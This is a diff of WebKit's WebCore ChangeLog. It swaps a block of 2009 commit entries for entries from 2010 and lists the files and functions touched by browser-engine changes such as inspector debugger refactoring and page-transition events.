-        Not reviewed.  Build fix for Chromium.
-
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-
-2009-08-27  Alexey Proskuryakov  <ap@apple.com>
-
-        Windows build fix.
-
-        * DerivedSources.cpp: Added JSPageTransitionEvent.cpp to DerivedSources.cpp.
-
-2009-08-26  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28758
-        <rdar://problem/6440869> Implement pageshow and pagehide events for b/f cache (28758)
-
-        Tests: fast/events/pageshow-pagehide-on-back-cached.html
-               fast/events/pageshow-pagehide-on-back-uncached.html
-               fast/events/pageshow-pagehide.html
-
-        * loader/FrameLoader.cpp: (WebCore::FrameLoader::stopLoading): Dispatch pagehide event
-        (this function is called both when a document goes away, and when it goes to b/f cache).
-
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents): Dispatch pagehide right before unload.
-        (WebCore::DOMWindow::dispatchPageTransitionEvent): Do what it takes to add a new event handler
-        that can be installed on Window object.
-        (WebCore::DOMWindow::onpagehide): Ditto.
-        (WebCore::DOMWindow::setOnpagehide): Ditto.
-        (WebCore::DOMWindow::onpageshow): Ditto.
-        (WebCore::DOMWindow::setOnpageshow): Ditto.
-
-        * history/CachedFrame.cpp: (WebCore::CachedFrame::restore): Dispatch pageshow for a page
-        that isn't being restored from cache.
-
-        * dom/PageTransitionEvent.cpp: Added.
-        (WebCore::PageTransitionEvent::PageTransitionEvent):
-        (WebCore::PageTransitionEvent::~PageTransitionEvent):
-        (WebCore::PageTransitionEvent::initPageTransitionEvent):
-        * dom/PageTransitionEvent.h: Added.
-        (WebCore::PageTransitionEvent::create):
-        (WebCore::PageTransitionEvent::isPageTransitionEvent):
-        (WebCore::PageTransitionEvent::persisted):
-        * dom/PageTransitionEvent.idl: Added.
-        Add event class implementation.
-
-        * html/HTMLBodyElement.cpp: (WebCore::HTMLBodyElement::parseMappedAttribute): Support
-        inline listener definition (note that adding listeners to document.body programmatically
-        is not supported, matching Firefox).
-
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose): Dispatch pageshow event right before load event.
-        (WebCore::Document::dispatchPageTransitionEvent): Do what it takes to add a new event for
-        Docuemnt.
-        (WebCore::Document::createEvent): Ditto.
-
-        * dom/Document.h: Added dispatchPageTransitionEvent.
+        https://bugs.webkit.org/show_bug.cgi?id=28799
 
-        * DerivedSources.make:
         * GNUmakefile.am:
+        * WebCore.base.exp:
         * WebCore.gypi:
+        * WebCore.order:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSEventCustom.cpp: (WebCore::toJS):
-        * dom/Event.cpp: (WebCore::Event::isPageTransitionEvent):
-        * dom/Event.h:
-        * dom/EventNames.h:
-        * html/HTMLAttributeNames.in:
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
-        Do what it takes to add a new event type.
-
-2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by NOBODY (build fix).
-
-        Adding missing file from previous commit.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28740
-
-        * inspector/front-end/SummaryBar.js: Added.
-        (WebInspector.SummaryBar):
-        (WebInspector.SummaryBar.prototype.get calculator):
-        (WebInspector.SummaryBar.prototype.set calculator):
-        (WebInspector.SummaryBar.prototype.reset):
-        (WebInspector.SummaryBar.prototype.update):
-        (WebInspector.SummaryBar.prototype._drawSwatch.drawSwatchSquare):
-        (WebInspector.SummaryBar.prototype._drawSwatch):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph.var):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph.drawPill):
-        (WebInspector.SummaryBar.prototype._fadeOutRect):
-        (WebInspector.SummaryBar.prototype._makeLegendElement):
-
-2009-08-27  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Factor out Factor out summary bar from Resources panel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28740
-
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::isActivation):
+        * bindings/js/ScriptDebugServer.cpp:
+        (WebCore::ScriptDebugServer::shared):
+        (WebCore::ScriptDebugServer::ScriptDebugServer):
+        (WebCore::ScriptDebugServer::~ScriptDebugServer):
+        (WebCore::ScriptDebugServer::addListener):
+        (WebCore::ScriptDebugServer::removeListener):
+        (WebCore::ScriptDebugServer::pageCreated):
+        (WebCore::ScriptDebugServer::hasListenersInterestedInPage):
+        (WebCore::ScriptDebugServer::setBreakpoint):
+        (WebCore::ScriptDebugServer::removeBreakpoint):
+        (WebCore::ScriptDebugServer::hasBreakpoint):
+        (WebCore::ScriptDebugServer::clearBreakpoints):
+        (WebCore::ScriptDebugServer::setPauseOnExceptionsState):
+        (WebCore::ScriptDebugServer::pauseProgram):
+        (WebCore::ScriptDebugServer::continueProgram):
+        (WebCore::ScriptDebugServer::stepIntoStatement):
+        (WebCore::ScriptDebugServer::stepOverStatement):
+        (WebCore::ScriptDebugServer::stepOutOfFunction):
+        (WebCore::ScriptDebugServer::currentCallFrame):
+        (WebCore::ScriptDebugServer::currentCallFrameState):
+        (WebCore::ScriptDebugServer::dispatchDidParseSource):
+        (WebCore::ScriptDebugServer::dispatchFailedToParseSource):
+        (WebCore::toPage):
+        (WebCore::ScriptDebugServer::detach):
+        (WebCore::ScriptDebugServer::sourceParsed):
+        (WebCore::ScriptDebugServer::dispatchFunctionToListeners):
+        (WebCore::ScriptDebugServer::setJavaScriptPaused):
+        (WebCore::ScriptDebugServer::pauseIfNeeded):
+        (WebCore::ScriptDebugServer::callEvent):
+        (WebCore::ScriptDebugServer::atStatement):
+        (WebCore::ScriptDebugServer::returnEvent):
+        (WebCore::ScriptDebugServer::exception):
+        (WebCore::ScriptDebugServer::willExecuteProgram):
+        (WebCore::ScriptDebugServer::didExecuteProgram):
+        (WebCore::ScriptDebugServer::didReachBreakpoint):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctionsSoon):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctions):
+        (WebCore::ScriptDebugServer::didAddListener):
+        (WebCore::ScriptDebugServer::didRemoveListener):
+        (WebCore::ScriptDebugServer::didRemoveLastListener):
+        * bindings/js/ScriptDebugServer.h:
+        (WebCore::ScriptDebugServer::Listener::~Listener):
+        (WebCore::ScriptDebugServer::):
+        (WebCore::ScriptDebugServer::pauseOnExceptionsState):
+        (WebCore::ScriptDebugServer::hasListeners):
+        (WebCore::ScriptDebugServer::hasGlobalListeners):
+        * bindings/v8/ScriptDebugServer.cpp:
+        (WebCore::ScriptDebugServer::shared):
+        * bindings/v8/ScriptDebugServer.h:
+        (WebCore::ScriptDebugServer::Listener::~Listener):
+        (WebCore::ScriptDebugServer::addListener):
+        (WebCore::ScriptDebugServer::removeListener):
+        (WebCore::ScriptDebugServer::setBreakpoint):
+        (WebCore::ScriptDebugServer::removeBreakpoint):
+        (WebCore::ScriptDebugServer::clearBreakpoints):
+        (WebCore::ScriptDebugServer::):
+        (WebCore::ScriptDebugServer::pauseOnExceptionsState):
+        (WebCore::ScriptDebugServer::setPauseOnExceptionsState):
+        (WebCore::ScriptDebugServer::pauseProgram):
+        (WebCore::ScriptDebugServer::continueProgram):
+        (WebCore::ScriptDebugServer::stepIntoStatement):
+        (WebCore::ScriptDebugServer::stepOverStatement):
+        (WebCore::ScriptDebugServer::stepOutOfFunction):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctionsSoon):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctions):
+        (WebCore::ScriptDebugServer::currentCallFrameState):
+        (WebCore::ScriptDebugServer::pageCreated):
+        (WebCore::ScriptDebugServer::ScriptDebugServer):
+        (WebCore::ScriptDebugServer::~ScriptDebugServer):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::V8InjectedScriptHost::currentCallFrameCallback):
+        (WebCore::V8InjectedScriptHost::isActivationCallback):
+        * inspector/InjectedScriptHost.cpp:
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::setBreakpoint):
+        (WebCore::InspectorBackend::removeBreakpoint):
+        (WebCore::InspectorBackend::pauseInDebugger):
+        (WebCore::InspectorBackend::stepOverStatementInDebugger):
+        (WebCore::InspectorBackend::stepIntoStatementInDebugger):
+        (WebCore::InspectorBackend::stepOutOfFunctionInDebugger):
+        (WebCore::InspectorBackend::pauseOnExceptionsState):
+        (WebCore::InspectorBackend::setPauseOnExceptionsState):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/ScriptBreakpoint.h: Added.
+        (WebCore::InspectorBreakpoint::InspectorBreakpoint):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::stopUserInitiatedProfiling):
+        (WebCore::InspectorController::enableProfiler):
+        (WebCore::InspectorController::disableProfiler):
+        (WebCore::InspectorController::enableDebuggerFromFrontend):
+        (WebCore::InspectorController::disableDebugger):
+        (WebCore::InspectorController::resumeDebugger):
+        (WebCore::InspectorController::setBreakpoint):
+        (WebCore::InspectorController::removeBreakpoint):
+        (WebCore::InspectorController::didParseSource):
+        (WebCore::InspectorController::failedToParseSource):
+        (WebCore::InspectorController::didPause):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::parsedScriptSource):
+        (WebCore::InspectorFrontend::restoredBreakpoint):
+        (WebCore::InspectorFrontend::failedToParseScriptSource):
+        (WebCore::InspectorFrontend::resumedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/JavaScriptDebugListener.h: Removed.
+        * inspector/JavaScriptDebugServer.cpp: Removed.
+        * inspector/JavaScriptDebugServer.h: Removed.
+        * inspector/front-end/Breakpoint.js:
+        (WebInspector.Breakpoint.prototype.set condition):
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.addBreakpoint):
         * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype.reset):
-        (WebInspector.ResourcesPanel.prototype._updateSummaryGraph):
-        (WebInspector.ResourcesPanel.prototype._updateDividersLabelBarPosition):
-        (WebInspector.ResourcesPanel.prototype._changeSortingFunction):
-        * inspector/front-end/SummaryBar.js: Added.
-        (WebInspector.SummaryBar):
-        (WebInspector.SummaryBar.prototype.get calculator):
-        (WebInspector.SummaryBar.prototype.set calculator):
-        (WebInspector.SummaryBar.prototype.reset):
-        (WebInspector.SummaryBar.prototype.update):
-        (WebInspector.SummaryBar.prototype._drawSwatch.drawSwatchSquare):
-        (WebInspector.SummaryBar.prototype._drawSwatch):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph.var):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph):
-        (WebInspector.SummaryBar.prototype._drawSummaryGraph.drawPill):
-        (WebInspector.SummaryBar.prototype._fadeOutRect):
-        (WebInspector.SummaryBar.prototype._makeLegendElement):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
-
-2009-08-26  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Start adding heap profiler to Inspector (hidden behind a flag.)
-
-        https://bugs.webkit.org/show_bug.cgi?id=28429
-
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel):
-        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
-        (WebInspector.ProfilesPanel.prototype.reset):
-        (WebInspector.ProfilesPanel.prototype.addProfile):
-        (WebInspector.ProfilesPanel.prototype._updateInterface):
-        (WebInspector.ProfilesPanel.prototype._snapshotClicked):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js: added Preferences.heapProfilerPresent flag.
-
-2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Metrics sidebar editing is broken.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28434
-
-        * inspector/front-end/MetricsSidebarPane.js:
-        (WebInspector.MetricsSidebarPane.prototype.update):
-
-2009-08-27  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28767
-
-        Make KURLGoogle.cpp's decodeURLEscapeSequences decode %00 to match
-        KURL.cpp.  This makes the XSSAuditor tests pass when using KURLGoogle.
-
-        * platform/KURLGoogle.cpp:
-        (WebCore::decodeURLEscapeSequences):
-
-2009-08-27  Ariya Hidayat  <ariya.hidayat@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Build fix, missing functions after r47763.
-
-        * platform/qt/Localizations.cpp:
-        (WebCore::localizedMediaControlElementString):
-        (WebCore::localizedMediaControlElementHelpText):
-        (WebCore::localizedMediaTimeDescription):
-
-2009-08-26  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Removing trailing whitespaces from all storage classes.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28075
-
-        * storage/ChangeVersionWrapper.cpp:
-        * storage/Database.cpp:
-        * storage/Database.h:
-        * storage/DatabaseDetails.h:
-        * storage/DatabaseThread.cpp:
-        * storage/DatabaseTracker.cpp:
-        * storage/DatabaseTracker.h:
-        * storage/LocalStorageTask.cpp:
-        * storage/LocalStorageTask.h:
-        * storage/LocalStorageThread.cpp:
-        * storage/LocalStorageThread.h:
-        * storage/OriginQuotaManager.cpp:
-        * storage/OriginUsageRecord.cpp:
-        * storage/OriginUsageRecord.h:
-        * storage/SQLError.h:
-        * storage/SQLResultSetRowList.h:
-        * storage/SQLStatement.cpp:
-        * storage/SQLStatement.h:
-        * storage/SQLStatementCallback.h:
-        * storage/SQLStatementErrorCallback.h:
-        * storage/SQLTransaction.cpp:
-        * storage/SQLTransaction.h:
-        * storage/SQLTransactionCallback.h:
-        * storage/SQLTransactionErrorCallback.h:
-        * storage/Storage.cpp:
-        * storage/Storage.h:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        * storage/StorageAreaImpl.h:
-        * storage/StorageAreaSync.cpp:
-        * storage/StorageAreaSync.h:
-        * storage/StorageEvent.cpp:
-        * storage/StorageEvent.h:
-        * storage/StorageMap.cpp:
-        * storage/StorageMap.h:
-        * storage/StorageNamespaceImpl.cpp:
-        * storage/StorageSyncManager.cpp:
-        * storage/StorageSyncManager.h:
-
-2009-08-26  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28763, flickering when opacity changes.
-
-        Make opacity changes from < 1 to 1 and from 1 to < 1 cause a relayout to happen.  We need
-        to do this in order for overflow information to be properly recomputed.
-
-        * rendering/style/RenderStyle.cpp:
-        (WebCore::RenderStyle::diff):
-
-2009-08-26  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
+        (WebInspector.ResourcesPanel.prototype.sourceFrameForResource):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.addScript):
+        (WebInspector.ScriptsPanel.prototype.addBreakpoint):
+        (WebInspector.ScriptsPanel.prototype.removeBreakpoint):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        * inspector/front-end/inspector.js:
+        (WebInspector.restoredBreakpoint):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        * platform/android/TemporaryLinkStubs.cpp:
 
-        HTMLMediaElement sometimes loses events
-        https://bugs.webkit.org/show_bug.cgi?id=28762
-        <rdar://problem/7172437>
+2010-02-21  Gavin Barraclough  <barraclough@apple.com>
 
-        A media element triggers the resource selection algorithm if 
-        play() is called when the networkState attribute is NETWORK_EMPTY, but
-        it also immediately queues 'play' and either 'waiting' or 'playing' events.
-        One of the steps in preparing to load is to flush pending events, so those 
-        events were lost if the load timer fired quickly enough. Fixed by deleting
-        pending events before scheduling the load timer.
+        Reviewed by Oliver Hunt.
 
-        Test: media/audio-play-event.html
+        Make the UChar owned/ref-counted by StringImpl::CrossThreadRefCounted be const.
 
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::scheduleLoad):
-            Do nothing if the load timer is already scheduled. Call prepareForLoad so queue of 
-            pending events is flushed immediately.
-        (WebCore::HTMLMediaElement::scheduleNextSourceChild):
-            New, start the load timer without flushing pending events.
-        (WebCore::HTMLMediaElement::load):
-            Call prepareForLoad();
-        (WebCore::HTMLMediaElement::prepareForLoad):
-            New, load setup code moved from loadInternal.
-        (WebCore::HTMLMediaElement::loadInternal):
-            Moved some setup code to prepareForLoad so it can be invoked immediately before
-            arming the load timer.
-        (WebCore::HTMLMediaElement::setNetworkState):
-            Call scheduleNextSourceChild instead of scheduleLoad as the later now clears
-            pending events.
-        * html/HTMLMediaElement.h:
-            Declare scheduleNextSourceChild.
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
 
-2009-08-26  Peter Kasting  <pkasting@google.com>
+2010-02-07  Yuzo Fujishima  <yuzo@google.com>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28751
-        Switch ICO decoder from a Vector of raw pointers to a Vector of
-        OwnPtrs now that that is possible.  Makes code slightly simpler.
+        When page-break-{after,before} is set to always, force page breaks even for overflow-specified elements.
+        RenderBlock::inRootBlockContext() was introduced by Changeset 5611. Although it is a reasonable criteria for choosing an optional page break location, it is not for a mandatory page break as specified by http://dev.w3.org/csswg/css3-page/#forced-pg-brk. The method is removed because it is not used anywhere else.
+        Note: this patch makes page break work for overflow-specified elements. For tables and floated elements, more work is needed.
+        https://bugs.webkit.org/show_bug.cgi?id=9526
 
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::decodeAtIndex):
-        (WebCore::ICOImageDecoder::processDirectory):
-        * platform/image-decoders/ico/ICOImageDecoder.h:
+        Test: printing/page-break-always-for-overflow.html
 
-2009-08-26  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28718, image inside relpositioned inline doesn't paint.
-        Make sure vertical overflow is still computed across self-painting layers, even though it isn't
-        propagated to parents.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintChildren):
+        * rendering/RenderBlock.h:
 
-        Added fast/repaint/rel-positioned-inline-with-overflow.html
+2010-02-21  Julien Chaffraix  <jchaffraix@webkit.org>
 
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::computeVerticalOverflow):
+        Reviewed by Eric Seidel.
 
-2009-08-26  David Levin  <levin@chromium.org>
+        Remove auto_ptr usage in WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=35157
 
-        Reviewed by Darin Fisher.
+        The changes consists of:
 
-        ResourceRequestBase::*[Aa]llowHTTPCookies shouldn't mention http.
-        https://bugs.webkit.org/show_bug.cgi?id=28735
+        - Changing auto_ptr arguments or return types to PassOwnPtr.
 
-        Renaming the method to imply its wider implications of affecting cookies
-        over any protocol that supports them.
+        - Replacing local auto_ptr by OwnPtr.
 
-        No change in functionality so no new tests.
+        - Removing now unneeded <memory> inclusion.
 
-        * WebCore.order:
-        * loader/DocumentThreadableLoader.cpp:
-        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader):
-        (WebCore::DocumentThreadableLoader::makeSimpleCrossOriginAccessRequest):
-        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::addProperty):
+        * loader/WorkerThreadableLoader.cpp:
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::mainThreadCreateLoader):
+        (WebCore::workerContextDidReceiveResponse):
+        (WebCore::workerContextDidReceiveData):
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::didReceiveData):
+        (WebCore::workerContextDidReceiveAuthenticationCancellation):
+        * loader/WorkerThreadableLoader.h:
+        * loader/icon/IconLoader.cpp:
+        (WebCore::IconLoader::create):
+        * loader/icon/IconLoader.h:
+        * platform/ContextMenu.cpp:
+        (WebCore::separatorItem):
+        * platform/CrossThreadCopier.h:
+        (WebCore::):
+        * platform/network/HTTPHeaderMap.cpp:
+        (WebCore::HTTPHeaderMap::copyData):
+        (WebCore::HTTPHeaderMap::adopt):
+        * platform/network/HTTPHeaderMap.h:
         * platform/network/ResourceRequestBase.cpp:
         (WebCore::ResourceRequestBase::adopt):
         (WebCore::ResourceRequestBase::copyData):
-        (WebCore::ResourceRequestBase::allowCookies):
-        (WebCore::ResourceRequestBase::setAllowCookies):
-        (WebCore::equalIgnoringHeaderFields):
         * platform/network/ResourceRequestBase.h:
-        (WebCore::ResourceRequestBase::ResourceRequestBase):
-        * platform/network/cf/ResourceRequestCFNet.cpp:
-        (WebCore::ResourceRequest::doUpdatePlatformRequest):
-        (WebCore::ResourceRequest::doUpdateResourceRequest):
-        * platform/network/mac/ResourceRequestMac.mm:
-        (WebCore::ResourceRequest::doUpdateResourceRequest):
-        (WebCore::ResourceRequest::doUpdatePlatformRequest):
-        * platform/network/soup/ResourceRequestSoup.cpp:
-        (WebCore::ResourceRequest::updateFromSoupMessage):
-
-2009-08-26  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Made RenderInline::clippedOverflowRectForRepaint() actually include
-        overflow.
-
-        Test: fast/repaint/inline-overflow.html
-
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::linesVisibleOverflowBoundingBox): Added. Returns
-            the bounding box of all lines’ visible overflow boxes (under the
-            assumption that the first and last lines determine the top and
-            bottom, respectively).
-        (WebCore::RenderInline::clippedOverflowRectForRepaint): Changed to use
-            linesVisibleOverflowBoundingBox() instead of linesBoundingBox().
-        * rendering/RenderInline.h:
-
-2009-08-26  John Gregg  <johnnyg@google.com>
-
-        Reviewed by David Levin.
-
-        minor style correction and include fix for notifications
-        https://bugs.webkit.org/show_bug.cgi?id=28745
-
-        No change in behavior, so no tests.
-
-        * bindings/js/JSDesktopNotificationsCustom.cpp: add include of Error.h
-        * notifications/Notification.cpp: change enum style to InterCaps
-        (WebCore::Notification::Notification):
-        * notifications/NotificationPresenter.h:
-        (WebCore::NotificationPresenter::):
-
-2009-08-25  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        postMessage() spec now supports sending arrays of ports
-        https://bugs.webkit.org/show_bug.cgi?id=26902
-
-        Added support for sending multiple ports at once via postMessage(). JS bindings will be updated in an upcoming patch.
-
-        No new tests, since the new functionality is not exposed via new JS bindings yet, so the old tests suffice.
-
-        * WebCore.xcodeproj/project.pbxproj:
-        Mark MessagePort.h and MessagePortChannel.h as private since they are used by WebKit now.
-        * dom/MessageEvent.cpp:
-        Updated APIs to support passing MessagePortArrays.
-        (WebCore::MessageEvent::MessageEvent):
-        (WebCore::MessageEvent::initMessageEvent):
-        (WebCore::MessageEvent::messagePort):
-        * dom/MessageEvent.h:
-        (WebCore::MessageEvent::create):
-        Now accepts a MessagePortArray parameter instead of a single MessagePort.
-        (WebCore::MessageEvent::ports):
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::postMessage):
-        (WebCore::MessagePort::dispatchMessages):
-        (WebCore::MessagePort::disentanglePorts):
-        Added new static function to extract a MessagePortChannelArray from a MessagePortArray.
-        (WebCore::MessagePort::entanglePorts):
-        Added new static function to generate a MessagePortArray (entangled ports) from a MessagePortChannelArray.
-        * dom/MessagePort.h:
-        * dom/MessagePortChannel.cpp:
-        EventData now contains a MessagePortChannelArray field instead of a single MessagePortChannel.
-        (WebCore::MessagePortChannel::EventData::create):
-        (WebCore::MessagePortChannel::EventData::EventData):
-        * dom/MessagePortChannel.h:
-        (WebCore::MessagePortChannel::EventData::channels):
-        * page/DOMWindow.cpp:
-        (WebCore::PostMessageTimer::PostMessageTimer):
-        (WebCore::PostMessageTimer::event):
-        (WebCore::DOMWindow::postMessage):
-        Now accepts a MessagePortArray parameter instead of a single MessagePort.
-        * page/DOMWindow.h:
-        * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::postMessage):
-        Now accepts a MessagePortArray parameter instead of a single MessagePort.
-        (WebCore::DedicatedWorkerContext::dispatchMessage):
-        * workers/DedicatedWorkerContext.h:
-        * workers/Worker.cpp:
-        (WebCore::Worker::postMessage):
-        Now accepts a MessagePortArray parameter instead of a single MessagePort.
-        (WebCore::Worker::dispatchMessage):
-        * workers/Worker.h:
-        * workers/WorkerContextProxy.h:
-        * workers/WorkerMessagingProxy.cpp:
-        Updated WorkerObjectProxy and WorkerContextProxy API implementations to support sending multiple MessagePorts.
-        (WebCore::MessageWorkerContextTask::create):
-        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
-        (WebCore::MessageWorkerContextTask::performTask):
-        (WebCore::MessageWorkerTask::create):
-        (WebCore::MessageWorkerTask::MessageWorkerTask):
-        (WebCore::MessageWorkerTask::performTask):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
-        * workers/WorkerMessagingProxy.h:
-        * workers/WorkerObjectProxy.h:
-        Updated WorkerObjectProxy and WorkerContextProxy APIs to support sending multiple MessagePorts.
-
-2009-08-26  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        SocketStreamHandle interface for WebSocket API
-        https://bugs.webkit.org/show_bug.cgi?id=28037
-
-        Add build systems only for GNUmakefile.am and WebCore.xcodeproj.now.
-        Other build systems will be updated once the code is functional.
-        Tests will be landed once this code is complete and functional.
-
-        * GNUmakefile.am:
-        * WebCore.xcodeproj/project.pbxproj:
-        * platform/network/SocketStreamErrorBase.cpp: Added.
-        * platform/network/SocketStreamErrorBase.h: Added.
-        * platform/network/SocketStreamHandleBase.cpp: Added.
-        * platform/network/SocketStreamHandleBase.h: Added.
-        * platform/network/SocketStreamHandleClient.h: Added.
-        * platform/network/cf/SocketStreamError.h: Added.
-        * platform/network/cf/SocketStreamHandle.h: Added.
-        * platform/network/cf/SocketStreamHandleCFNet.cpp: Added.
-        * platform/network/soup/SocketStreamError.h: Added.
-        * platform/network/soup/SocketStreamHandle.h: Added.
-        * platform/network/soup/SocketStreamHandleSoup.cpp: Added.
-
-2009-08-26  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] setTimeout does not convert non-string argument to string
-        https://bugs.webkit.org/show_bug.cgi?id=28739
-
-        Convert non-string argument to setTimeout to string in the V8
-        bindings.
-
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-
-2009-08-25  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Gavin Barraclough.
-
-        [ES5] Implement getOwnPropertyDescriptor
-        https://bugs.webkit.org/show_bug.cgi?id=28724
-
-        Implement the WebCore side of getOwnPropertyDescriptor.  This
-        requires a custom implementation of getOwnPropertyDescriptor
-        for every class with a custom implementation of getOwnPropertySlot.
-
-        The bindings generator has been updated to generate appropriate
-        versions of getOwnPropertyDescriptor for the general case where
-        a custom getOwnPropertyDescriptor is not needed.  ES5 is vague
-        about how getOwnPropertyDescriptor should work in the context of
-        "host" functions with polymorphic [[GetOwnProperty]], so it seems
-        okay that occasionally we "guess" what attributes -- eg. determining
-        whether a property is writable.
-
-        Test: fast/js/getOwnPropertyDescriptor.html
-
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::getOwnPropertyDescriptor):
-        * bindings/js/JSDOMWindowShell.cpp:
-        (WebCore::JSDOMWindowShell::getOwnPropertyDescriptor):
-        * bindings/js/JSDOMWindowShell.h:
-        * bindings/js/JSHTMLAppletElementCustom.cpp:
-        (WebCore::JSHTMLAppletElement::getOwnPropertyDescriptorDelegate):
-        * bindings/js/JSHTMLEmbedElementCustom.cpp:
-        (WebCore::JSHTMLEmbedElement::getOwnPropertyDescriptorDelegate):
-        * bindings/js/JSHTMLObjectElementCustom.cpp:
-        (WebCore::JSHTMLObjectElement::getOwnPropertyDescriptorDelegate):
-        * bindings/js/JSHistoryCustom.cpp:
-        (WebCore::JSHistory::getOwnPropertyDescriptorDelegate):
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::JSLocation::getOwnPropertyDescriptorDelegate):
-        * bindings/js/JSNamedNodesCollection.cpp:
-        (WebCore::JSNamedNodesCollection::getOwnPropertyDescriptor):
-        * bindings/js/JSNamedNodesCollection.h:
-        * bindings/js/JSPluginElementFunctions.cpp:
